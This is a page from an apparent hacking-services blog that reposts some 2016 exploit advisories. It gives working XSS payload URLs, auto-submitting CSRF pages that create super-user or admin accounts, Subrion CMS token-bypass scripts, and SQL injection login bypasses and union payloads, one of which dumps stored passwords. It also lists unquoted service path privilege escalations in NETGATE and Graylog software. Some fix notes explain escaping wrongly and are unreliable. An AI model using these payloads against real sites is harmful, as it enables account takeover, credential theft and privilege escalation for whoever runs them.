Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863588071

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: PHP Image Database - Multiple Vulnerabilities
# Date: 2016-10-16
# Exploit Author: larrycompress
# Contact: larrycompress@gmail.com
# Type: webapps
# Platform: PHP
# Vendor Homepage: http://www.pagereactions.com/product.php?pku=3
# Software Link: http://www.pagereactions.com/downloads/phpimagedatabase.zip
----------------------------------------------------------------------------

POC as follows :

# 0x00 Reflected XSS

---

1.In public search :

http://192.168.1.112/phpimagedatabase/index.php?dateyear=<svg/onload=alert(1)>&key=<svg/onload=alert(2)>

2.In administration web interface (need normal user login) :

http://192.168.1.112/phpimagedatabase/administration.php?dateyear=<svg/onload=alert(1)>&key=<svg/onload=alert(2)>


# 0x01 Stored XSS

---

1.In administration web images interface (need normal user login) :

http://192.168.1.112/phpimagedatabase/administration.php
?pageaction=newimage
&MAX_FILE_SIZE=1000000
&subaction=submit
&dateday=16
&datemonthnewedit=10
&dateyearnewedit=2016
&title=<svg/onload=alert(1)>
&caption=<svg/onload=alert(2)>
&keywordtags=<svg/onload=alert(3)>
&photographer=<svg/onload=alert(4)>
&categorynewedit=
&publish=active

2.In administration web categories interface (need  administrator user login) :

http://192.168.1.112/phpimagedatabase/administration.php?pageaction=newcategory&subaction=submit&categoryname=</select><svg/onload=alert(1)><select>

# 0x02 CSRF (add Super user)

---

In http://192.168.1.103/csrf.html :

<!DOCTYPE html>
<html>
  <body>
    <form action="http://192.168.1.112/phpimagedatabase/administration.php" method="POST">
      <input name="pageaction" value="saveuser" type="hidden" />
      <input name="subaction" value="submit" type="hidden" />
      <input name="username" value="larry_csrf" type="hidden" />
      <input name="password" value="larry_csrf" type="hidden" />
      <input name="userfullname" value="larry_csrf" type="hidden" />
      <input name="accesslevel" value="Super" type="hidden" />
      <input name="userstatus" value="active" type="hidden" />
      <input name="mysubmit" value="submit" type="submit" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

* Thanks to Besim *
HireHackking 
# Exploit Title: Subrion CMS 4.0.5 - CSRF Bypass to Persistent XSS and Add-Admin
# Date: 15-10-2016
# Software Link: http://www.subrion.org/download/
# Vendor: http://www.subrion.org
# Google Dork: "Powered by Subrion CMS"
# Exploit Author: Ahsan Tahir
# Contact: https://twitter.com/AhsanTahirAT | https://facebook.com/ahsantahiratofficial
# Website: www.ahsantahir.net
# Category: webapps
# Version: 4.0.5
# Tested on: [Kali Linux 2.0 | Windows 8.1]
# Email: mrahsan1337@gmail.com

[+] CSRF bypass to Persistent XSS

1. Description

There was an Anti-CSRF token while adding a post in Subrion CMS v4.0.5, named with paramater '__st', but it can be bypassed if we enter 
the same number of characters in the CSRF token (for e.g XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX), then the CSRF protection will be bypassed
means, if we craft a malicious HTML web page, we can trick the admin/vicitm to visit a website, and after he/she visits the website, 
a blog post will be created with a tag like this: "</title><script>alert(document.domain);</script>" and now the XSS can be executed 
here: http://localhost/[SubrionPATH]/tag/title-script-alert-document-domain-script/

2. Proof of Concept (CSRF to Persistent XSS)

Login to your subrion CMS as admin, visit a webpage with the below HTML code, and click on submit request, a new post named 
"Hacked by Ahsan" will be created, with a tag "</title><script>alert(document.domain);</script>", means that we exploited
CSRF sucessfully!

XSS will execute here: http://localhost/[SubrionPATH]/tag/title-script-alert-document-domain-script/

[!] PoC Code:

<html>
  <!-- CSRF PoC -->
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://localhost/subi/admin/blog/add/", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------292766351574");
        xhr.withCredentials = true;
        var body = "-----------------------------292766351574\r\n" + 
          "Content-Disposition: form-data; name=\"__st\"\r\n" + 
          "\r\n" + 
          "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\r\n" + 
          "-----------------------------292766351574\r\n" + 
          "Content-Disposition: form-data; name=\"title\"\r\n" + 
          "\r\n" + 
          "Hacked by Ahsan Tahir\r\n" + 
          "-----------------------------292766351574\r\n" + 
          "Content-Disposition: form-data; name=\"alias\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------292766351574\r\n" + 
          "Content-Disposition: form-data; name=\"body\"\r\n" + 
          "\r\n" + 
          "\x3cp\x3eHacked by Ahsan Tahir\x3c/p\x3e\r\n" + 
          "\r\n" + 
          "-----------------------------292766351574\r\n" + 
          "Content-Disposition: form-data; name=\"tags\"\r\n" + 
          "\r\n" + 
          "\x3c/title\x3e\x3cscript\x3ealert(document.domain);\x3c/script\x3e\r\n" + 
          "-----------------------------292766351574\r\n" + 
          "Content-Disposition: form-data; name=\"v[image]\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------292766351574\r\n" + 
          "Content-Disposition: form-data; name=\"image\"; filename=\"\"\r\n" + 
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------292766351574\r\n" + 
          "Content-Disposition: form-data; name=\"owner\"\r\n" + 
          "\r\n" + 
          "Administrator (emailofadmin@gmail.com)\r\n" + 
          "-----------------------------292766351574\r\n" + 
          "Content-Disposition: form-data; name=\"member_id\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------292766351574\r\n" + 
          "Content-Disposition: form-data; name=\"date_added\"\r\n" + 
          "\r\n" + 
          "2016-10-15 04:41\r\n" + 
          "-----------------------------292766351574\r\n" + 
          "Content-Disposition: form-data; name=\"status\"\r\n" + 
          "\r\n" + 
          "active\r\n" + 
          "-----------------------------292766351574\r\n" + 
          "Content-Disposition: form-data; name=\"save\"\r\n" + 
          "\r\n" + 
          "Add\r\n" + 
          "-----------------------------292766351574\r\n" + 
          "Content-Disposition: form-data; name=\"goto\"\r\n" + 
          "\r\n" + 
          "list\r\n" + 
          "-----------------------------292766351574--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>

----------------------------------------------------------------------------------------------------------------------

[+] Add-Admin CSRF

1. Description

There was an Anti-CSRF token while adding an admin in Subrion CMS v4.0.5, named with paramater '__st', but it can be bypassed if we enter 
the same number of characters in the CSRF token (for e.g XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX), then the CSRF protection will be bypassed
means, if we craft a malicious HTML web page, we can trick the admin/vicitm to visit a website, and after he/she visits the website, 
a new admin will be created with an email which is controled by attacker, means now the attacker have full administration over the
Subrion CMS Blog!

2. Proof of Concept

Login to your subrion CMS as admin, visit a webpage with the below HTML code, and click on submit request, a new admin named 
"Haxor" will be created, with email "ahsan@ahsan.py", means that we exploited the CSRF sucessfully, and now the attacker
has full control over the subrion blog! 

[!] PoC Code:

<html>
  <!-- CSRF PoC -->
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://localhost/subi/admin/members/add/", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------2573679013209");
        xhr.withCredentials = true;
        var body = "-----------------------------2573679013209\r\n" + 
          "Content-Disposition: form-data; name=\"__st\"\r\n" + 
          "\r\n" + 
          "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\r\n" + 
          "-----------------------------2573679013209\r\n" + 
          "Content-Disposition: form-data; name=\"username\"\r\n" + 
          "\r\n" + 
          "haxor\r\n" + 
          "-----------------------------2573679013209\r\n" + 
          "Content-Disposition: form-data; name=\"fullname\"\r\n" + 
          "\r\n" + 
          "Craxor\r\n" + 
          "-----------------------------2573679013209\r\n" + 
          "Content-Disposition: form-data; name=\"email\"\r\n" + 
          "\r\n" + 
          "ahsan@ahsan.py\r\n" + 
          "-----------------------------2573679013209\r\n" + 
          "Content-Disposition: form-data; name=\"_password\"\r\n" + 
          "\r\n" + 
          "ahsan123\r\n" + 
          "-----------------------------2573679013209\r\n" + 
          "Content-Disposition: form-data; name=\"_password2\"\r\n" + 
          "\r\n" + 
          "ahsan123\r\n" + 
          "-----------------------------2573679013209\r\n" + 
          "Content-Disposition: form-data; name=\"usergroup_id\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------2573679013209\r\n" + 
          "Content-Disposition: form-data; name=\"v[avatar[]]\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------2573679013209\r\n" + 
          "Content-Disposition: form-data; name=\"avatar[]\"; filename=\"\"\r\n" + 
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------2573679013209\r\n" + 
          "Content-Disposition: form-data; name=\"website\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------2573679013209\r\n" + 
          "Content-Disposition: form-data; name=\"phone\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------2573679013209\r\n" + 
          "Content-Disposition: form-data; name=\"biography\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------2573679013209\r\n" + 
          "Content-Disposition: form-data; name=\"facebook\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------2573679013209\r\n" + 
          "Content-Disposition: form-data; name=\"twitter\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------2573679013209\r\n" + 
          "Content-Disposition: form-data; name=\"gplus\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------2573679013209\r\n" + 
          "Content-Disposition: form-data; name=\"linkedin\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------2573679013209\r\n" + 
          "Content-Disposition: form-data; name=\"sponsored\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------2573679013209\r\n" + 
          "Content-Disposition: form-data; name=\"featured\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------2573679013209\r\n" + 
          "Content-Disposition: form-data; name=\"featured_end\"\r\n" + 
          "\r\n" + 
          "2016-11-15 04:54\r\n" + 
          "-----------------------------2573679013209\r\n" + 
          "Content-Disposition: form-data; name=\"status\"\r\n" + 
          "\r\n" + 
          "active\r\n" + 
          "-----------------------------2573679013209\r\n" + 
          "Content-Disposition: form-data; name=\"save\"\r\n" + 
          "\r\n" + 
          "Add\r\n" + 
          "-----------------------------2573679013209\r\n" + 
          "Content-Disposition: form-data; name=\"goto\"\r\n" + 
          "\r\n" + 
          "list\r\n" + 
          "-----------------------------2573679013209--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>

Credits & Authors:
==================
Ahsan Tahir - [https://twitter.com/AhsanTahirAT]
HireHackking 
# Exploit Title: PHP Telephone Directory - Multiple Vulnerabilities
# Date: 2016-10-16
# Exploit Author: larrycompress
# Contact: larrycompress@gmail.com
# Type: webapps
# Platform: PHP
# Vendor Homepage: http://www.pagereactions.com/product.php?pku=2
# Software Link: http://www.pagereactions.com/downloads/phptelephonedirectory.zip
---------------------------------------------------------------------------------

POC as follows :

# 0x00 Reflected XSS

---

1.In public search :

http://192.168.1.112/phptelephonedirectory/index.php?key=<svg/onload=alert(1)>

2.In administration web interface (need normal user login) :

http://192.168.1.112/phptelephonedirectory/administration.php?key=<svg/onload=alert(1)>

# 0x01 Stored XSS

---

1.In administration web directory interface (need normal user login) :

http://192.168.1.112/phptelephonedirectory/administration.php
?pageaction=newcontact
&subaction=submit
&id=1
&dtDOBDate=0000-00-00
&pointcode=<script>alert(1)/*
&contacttitle=*/</script>
&firstname=<script>alert(2)</script>
&lastname=<script>alert(3)</script>
&middlename=<script>alert(4)</script>
&DOBdateradio=usenew
&dateday=16
&datemonthnewedit=10
&dateyearnewedit=2015
&employeeID=<script>alert(5)/*
&otherID=*/</script>
&phonenumber1=<script>alert(6)</script>
&internalphonenumber=<script>alert(7)</script>
&phonenumber2=<script>alert(8)</script>
&phonenumber3=<script>alert(9)</script>
&fax=<script>alert(10)</script>
&mobilecell=<script>alert(11)</script>
&email=<script>alert(12)</script>
&alternateemail=<script>alert(13)</script>
&chat=<script>alert(14)</script>
&website=<script>alert(15)</script>
&socialmedia1=<script>alert(16)</script>
&socialmedia2=<script>alert(17)</script>
&socialmedia3=<script>alert(18)</script>
&contactposition=<script>alert(19)</script>
&company=<script>alert(20)</script>
&qualifications=<script>alert(21)</script>
&departmentnewedit=
&buildingroom=<script>alert(22)</script>
&address=<script>alert(23)</script>
&city=<script>alert(24)</script>
&suburb=<script>alert(25)</script>
&tdstate=<script>alert(26)</script>
&zippostcode=<script>alert(27)/*
&country=*/</script><script>alert(28)</script>
&description=<script>alert(29)</script>
&recordstatus=active

2.In administration web department interface (need normal user login) :

http://192.168.1.112/phptelephonedirectory/administration.php?pageaction=newdepartment&subaction=submit&departmentname=</select><svg/onload=alert(1)><select>

# 0x02 CSRF (add Super user)

---

In http://192.168.1.103/csrf.html :

<!DOCTYPE html>
<html>
  <body>
    <form action="http://192.168.1.112/phptelephonedirectory/administration.php" method="POST">
      <input name="pageaction" value="saveuser" type="hidden" />
      <input name="subaction" value="submit" type="hidden" />
      <input name="username" value="larry_csrf" type="hidden" />
      <input name="password" value="larry_csrf" type="hidden" />
      <input name="userfullname" value="larry_csrf" type="hidden" />
      <input name="accesslevel" value="Super" type="hidden" />
      <input name="userstatus" value="active" type="hidden" />
      <input name="mysubmit" value="submit" type="submit" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

* Thanks to Besim *
HireHackking 
#########################################################################
# Exploit Title: Spy Emergency Unquoted Service Path Privilege Escalation
# Date: 15/10/2016
# Author: Amir.ght
# Vendor Homepage: http://www.spy-emergency.com/
# Software Link: http://www.spy-emergency.com/download/download.php?id=1
#version : build 23.0.205  (Latest)
# Tested on: Windows 7
##########################################################################

Spy Emergency installs two service with an unquoted service path
To properly exploit this vulnerability,
the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run
with elevated privileges.
-------------------------------------------
C:\>sc qc SpyEmrgHealth
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: SpyEmrgHealth
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\NETGATE\Spy
Emergency\SpyEmergencyHealth.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Spy Emergency Health Check
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
------------------------------------------------------------------
C:\>sc qc SpyEmrgSrv
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: SpyEmrgSrv
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\NETGATE\Spy
Emergency\SpyEmergencySrv.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Spy Emergency Engine Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
HireHackking 
# Exploit Title.............. Health Record System Auth Bypass
# Google Dork................ N/A
# Date....................... 14/10/2016
# Exploit Author............. lahilote
# Vendor Homepage............ http://www.sourcecodester.com/node/10430
# Software Link.............. http://www.sourcecodester.com/sites/default/files/download/Jesutoyeboluwatife/vital.zip
# Version.................... 0.1
# Tested on.................. xampp
# CVE........................ N/A


The audit_list in vital/signin.php
-------------------------------

----snip----

if (isset($_POST['submit'])){
	$lga_id=$_POST['lgaid'];
$pw=$_POST['pwd'];
$_SESSION['username'] = $lga_id;
	
	
	 $sql=mysql_query("SELECT * FROM admin WHERE lga_id='$lga_id' AND password='$pw' ");

----snip----

You can login with username and password: admin' or '1'='1


How to fix
----------
One of the method's to fix and secure such Auth Bypass flaw's, is to use the php function mysql_real_escape_string.
It causes that every of this characters \x00, \n, \r, \, '
get's replaced with a simple Backslash „/“, so the attackers commands become useless.

   Example:

if (isset($_POST['submit'])){
	$lga_id=mysql_real_escape_string($_POST['lgaid']);
$pw=mysql_real_escape_string($_POST['pwd']);
$_SESSION['username'] = $lga_id;
	
	
	 $sql=mysql_query("SELECT * FROM admin WHERE lga_id='$lga_id' AND password='$pw' ");


Credits
-------
This vulnerability was discovered and researched by lahilote

References
----------
http://www.sourcecodester.com/node/10430
http://php.net/manual/en/function.mysql-real-escape-string.php
HireHackking 
# Exploit Title.............. Fashion Shopping Cart SQL Injection
# Google Dork................ N/A
# Date....................... 14/10/2016
# Exploit Author............. lahilote
# Vendor Homepage............ http://www.sourcecodester.com/node/10435
# Software Link.............. http://www.sourcecodester.com/sites/default/files/download/aniketsmarty/online_shopping.zip
# Version.................... 0.1
# Tested on.................. xampp
# CVE........................ N/A


The audit_list in /admin/dd.php
-------------------------------

----snip----

$q=$_GET["q"];

$sql="SELECT * FROM subcategory WHERE cat_id ='$q'";

----snip----

Example exploitation
--------------------
http://server/path_to_webapp/admin/dd.php?q=-1%27%20union%20select%201,version()--+


How to fix
----------
Simple method's use the php function intval.
For example

$q=intval($_GET["q"]);

$sql="SELECT * FROM subcategory WHERE cat_id ='$q'";


Credits
-------
This vulnerability was discovered and researched by lahilote

References
----------
http://www.sourcecodester.com/node/10435
http://php.net/manual/en/function.intval.php
HireHackking 
# Exploit Title.............. Learning Management System Auth Bypass
# Google Dork................ N/A
# Date....................... 14/10/2016
# Exploit Author............. lahilote
# Vendor Homepage............ http://www.sourcecodester.com/php/7339/learning-management-system.html
# Software Link.............. http://www.sourcecodester.com/sites/default/files/download/jkev/lms.zip
# Version.................... 0.1
# Tested on.................. xampp
# CVE........................ N/A


The audit_list in lms/login.php
-------------------------------

----snip----

		$username = $_POST['username'];
		$password = $_POST['password'];
		/* student */
			$query = "SELECT * FROM student WHERE username='$username' AND password='$password'";
			$result = mysql_query($query)or die(mysql_error());
			$row = mysql_fetch_array($result);
			$num_row = mysql_num_rows($result);
		/* teacher */
		$query_teacher = mysql_query("SELECT * FROM teacher WHERE username='$username' AND password='$password'")or die(mysql_error());
		$num_row_teacher = mysql_num_rows($query_teacher);
		$row_teahcer = mysql_fetch_array($query_teacher);
		if( $num_row > 0 ) { 

----snip----

lms/admin/login.php
-------------------

----snip----

		$username = $_POST['username'];
		$password = $_POST['password'];

		$query = mysql_query("SELECT * FROM users WHERE username='$username' AND password='$password'")or die(mysql_error());
		$count = mysql_num_rows($query);
		$row = mysql_fetch_array($query);

----snip----

You can login with username and password: admin' or '1'='1

How to fix
----------
One of the method's to fix and secure such Auth Bypass flaw's, is to use the php function mysql_real_escape_string.
It causes that every of this characters \x00, \n, \r, \, '
get's replaced with a simple Backslash „/“, so the attackers commands become useless.

   Example: lms/login.php

		$username = mysql_real_escape_string($_POST['username']);
		$password = mysql_real_escape_string($_POST['password']);
		/* student */
			$query = "SELECT * FROM student WHERE username='$username' AND password='$password'";
			$result = mysql_query($query)or die(mysql_error());
			$row = mysql_fetch_array($result);
			$num_row = mysql_num_rows($result);
		/* teacher */
		$query_teacher = mysql_query("SELECT * FROM teacher WHERE username='$username' AND password='$password'")or die(mysql_error());
		$num_row_teacher = mysql_num_rows($query_teacher);
		$row_teahcer = mysql_fetch_array($query_teacher);
		if( $num_row > 0 ) { 

   Example: lms/admin/login.php

		$username = mysql_real_escape_string($_POST['username']);
		$password = mysql_real_escape_string($_POST['password']);

		$query = mysql_query("SELECT * FROM users WHERE username='$username' AND password='$password'")or die(mysql_error());
		$count = mysql_num_rows($query);
		$row = mysql_fetch_array($query);

Credits
-------
This vulnerability was discovered and researched by lahilote

References
----------
http://www.sourcecodester.com/php/7339/learning-management-system.html
http://php.net/manual/en/function.mysql-real-escape-string.php
HireHackking 
# Exploit Title.............. Simple Dynamic Web SQL Injection
# Google Dork................ N/A
# Date....................... 14/10/2016
# Exploit Author............. lahilote
# Vendor Homepage............ http://www.sourcecodester.com/php/10888/simple-dynamic-web-site.html
# Software Link.............. http://www.sourcecodester.com/sites/default/files/download/Chinthaka%20Deshapriya/dynamic_web_page.zip
# Version.................... 0.1
# Tested on.................. xampp
# CVE........................ N/A


The audit_list in /page.php

----snip----

	$prodID = $_GET['prodid'];

	if(!empty($prodID)){
		$sqlSelectSpecProd = mysql_query("select * from page where id = '$prodID'") or die(mysql_error());
		$getProdInfo = mysql_fetch_array($sqlSelectSpecProd);
		$ptitle = $getProdInfo["title"];
		$pdes = $getProdInfo["description"];
		$pimg = $getProdInfo["imgUrl"];
				}

----snip----

Example exploitation
--------------------
http://server/path_to_webapp/page.php?prodid=-3%27%20union%20select%201,2,@@version,4--+

How to fix
----------
Simple method's use the php function intval.
For example

	$prodID = intval($_GET['prodid']);

	if(!empty($prodID)){
		$sqlSelectSpecProd = mysql_query("select * from page where id = '$prodID'") or die(mysql_error());
		$getProdInfo = mysql_fetch_array($sqlSelectSpecProd);
		$ptitle = $getProdInfo["title"];
		$pdes = $getProdInfo["description"];
		$pimg = $getProdInfo["imgUrl"];
				}


Credits
-------
This vulnerability was discovered and researched by lahilote

References
----------
http://www.sourcecodester.com/php/10888/simple-dynamic-web-site.html
http://php.net/manual/en/function.intval.php
HireHackking 
# Exploit Title.............. Web Based Alumni Tracking System Multiple Vulnerability
# Google Dork................ N/A
# Date....................... 14/10/2016
# Exploit Author............. lahilote
# Vendor Homepage............ http://www.sourcecodester.com/php/10832/web-based-alumni-tracking-system.html
# Software Link.............. http://www.sourcecodester.com/sites/default/files/download/John%20Mark%20Ulep/web-based_alumni_tracking_system.zip
# Version.................... 0.1
# Tested on.................. xampp
# CVE........................ N/A


The audit_list in /admin/print_employed.php
-------------------------------

----snip----

48 <?php $get_id = $_GET['id'];?>

----snip----

/admin/index.php
----------------

----snip----

$user = $_POST['username'];
$password = $_POST['password'];


$myquery = mysql_query("select * from user where username = '$user' and password = '$password'")or die(mysql_error());

----snip----


Example exploitation
--------------------
http://server/path_to_webapp/admin/print_employed.php?id=-2%27%20union%20select%201,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12%20from%20user--+

http://server/path_to_webapp/admin/index.php
Login with username and password: admin' or '1'='1


How to fix
----------
Simple method's use the php function intval and mysql_real_escape_string.

   Example: /admin/print_employed.php

		48 <?php $get_id = intval($_GET['id']);?>


   Example: /admin/index.php

$user = mysql_real_escape_string($_POST['username']);
$password = mysql_real_escape_string($_POST['password']);


$myquery = mysql_query("select * from user where username = '$user' and password = '$password'")or die(mysql_error());

Credits
-------
This vulnerability was discovered and researched by lahilote

References
----------
http://www.sourcecodester.com/php/10832/web-based-alumni-tracking-system.html
http://php.net/manual/en/function.intval.php
http://php.net/manual/en/function.mysql-real-escape-string.php
HireHackking 
# Exploit Title............... Student Information System (SIS) Auth Bypass
# Google Dork................. N/A
# Date........................ 14/10/2016
# Exploit Author.............. lahilote
# Vendor Homepage............. http://www.sourcecodester.com/php/10902/student-information-system-sis.html
# Software Link............... http://www.sourcecodester.com/sites/default/files/download/Bwire%20Charles/ucc.zip
# Version..................... 0.1
# Tested on................... xampp
# CVE......................... N/A


The audit_list in ucc/admin_login.php
-------------------------------------

----snip----

error_reporting(E_ALL ^ E_DEPRECATED);
if(isset($_POST['submit'])) {

include 'database_config2.php';
$myusername = $_POST['username'];
$mypassword = $_POST['password'];



	
$query = "SELECT * FROM adminstrator WHERE USERNAME='$myusername' and PASSWORD='$mypassword'";
$result = mysql_query($query);
$count = mysql_num_rows($result);
mysql_close();

----snip----

You can login with username and password: admin' or '1'='1


How to fix
----------
One of the method's to fix and secure such Auth Bypass flaw's, is to use the php function mysql_real_escape_string.
It causes that every of this characters \x00, \n, \r, \, '
get's replaced with a simple Backslash „/“, so the attackers commands become useless.

   Example:

error_reporting(E_ALL ^ E_DEPRECATED);
if(isset($_POST['submit'])) {

include 'database_config2.php';
$myusername = mysql_real_escape_string($_POST['username']);
$mypassword = mysql_real_escape_string($_POST['password']);



	
$query = "SELECT * FROM adminstrator WHERE USERNAME='$myusername' and PASSWORD='$mypassword'";
$result = mysql_query($query);
$count = mysql_num_rows($result);
mysql_close();


Credits
-------
This vulnerability was discovered and researched by lahilote

References
----------
http://www.sourcecodester.com/php/10902/student-information-system-sis.html
http://php.net/manual/en/function.mysql-real-escape-string.php
HireHackking 
#########################################################################
# Exploit Title: NETGATE Data Backup Unquoted Service Path Privilege Escalation
# Date: 15/10/2016
# Author: Amir.ght
# Vendor Homepage: http://www.netgate.sk/
# Software Link:
http://www.netgate.sk/download/download.php?id=5
#version : build 3.0.605  (Latest)
# Tested on: Windows 7
##########################################################################

NETGATE Data Backup installs a service with an unquoted service path
To properly exploit this vulnerability,
the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run
with elevated privileges.
-------------------------------------------
C:\>sc qc NGDatBckpSrv
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: NGDatBckpSrv
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\NETGATE\Data
Backup\DataBackupSrv.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : NETGATE Data Backup Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
HireHackking 
#########################################################################
# Exploit Title: NETGATE AMITI Antivirus Unquoted Service Path Privilege Escalation
# Date: 15/10/2016
# Author: Amir.ght
# Vendor Homepage: http://www.netgate.sk/
# Software Link: http://www.netgate.sk/download/download.php?id=11
# Version : build 23.0.305  (Latest)
# Tested on: Windows 7
##########################################################################

AMITI Antivirus installs two service with an unquoted service path
To properly exploit this vulnerability,
the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run
with elevated privileges.
-------------------------------------------
C:\>sc qc AmitiAvSrv
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: AmitiAvSrv
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\NETGATE\Amiti
Antivirus\AmitiAntivirusSrv.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Amiti Antivirus Engine Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\>sc qc AmitiAvHealth
[SC] QueryServiceConfig SUCCESS
----------------------------------------------------
SERVICE_NAME: AmitiAvHealth
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\NETGATE\Amiti
Antivirus\AmitiAntivirusHealth.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Amiti Antivirus Health Check
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
HireHackking 
#########################################################################
# Exploit Title: NETGATE Registry Cleaner Unquoted Service Path Privilege Escalation
# Date: 15/10/2016
# Author: Amir.ght
# Vendor Homepage: http://www.netgate.sk/
# Software Link: http://www.netgate.sk/download/download.php?id=4
# Version : build 16.0.205  (Latest)
# Tested on: Windows 7
##########################################################################

NETGATE Registry Cleaner installs a service with an unquoted service path
To properly exploit this vulnerability,
the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run
with elevated privileges.
-------------------------------------------
C:\>sc qc NGRegClnSrv
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: NGRegClnSrv
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\NETGATE\Registry
Cleaner\RegistryCleanerSrv.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : NETGATE Registry Cleaner Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
HireHackking 
# Exploit Title: Graylog Collector Service Path Privilege Escalation
# Date: 10/14/2016
# Exploit Author: Joey Lane
# Software Link: https://github.com/Graylog2/collector
# Version: 0.4.2
# Tested on: Windows Server 2012 R2

Graylog Collector installs as a service with an unquoted service path.  If
the user installs this service in a directory containing a space, this will
create a privilege escalation vulnerability.  To properly exploit this
vulnerability, a local attacker can insert an executable file in the path
of the service.  Rebooting the system or restarting the service will run
the malicious executable with elevated privileges.


This was tested on version 0.4.2, but may affect other versions as well.


---------------------------------------------------------------------------

C:\sc qc GraylogCollector
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: GraylogCollector
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\graylog collector\bin\windows\graylog-collector-service-x86.exe //RS//GraylogCollector
        LOAD_ORDER_GROUP   :
        TAG                : 0
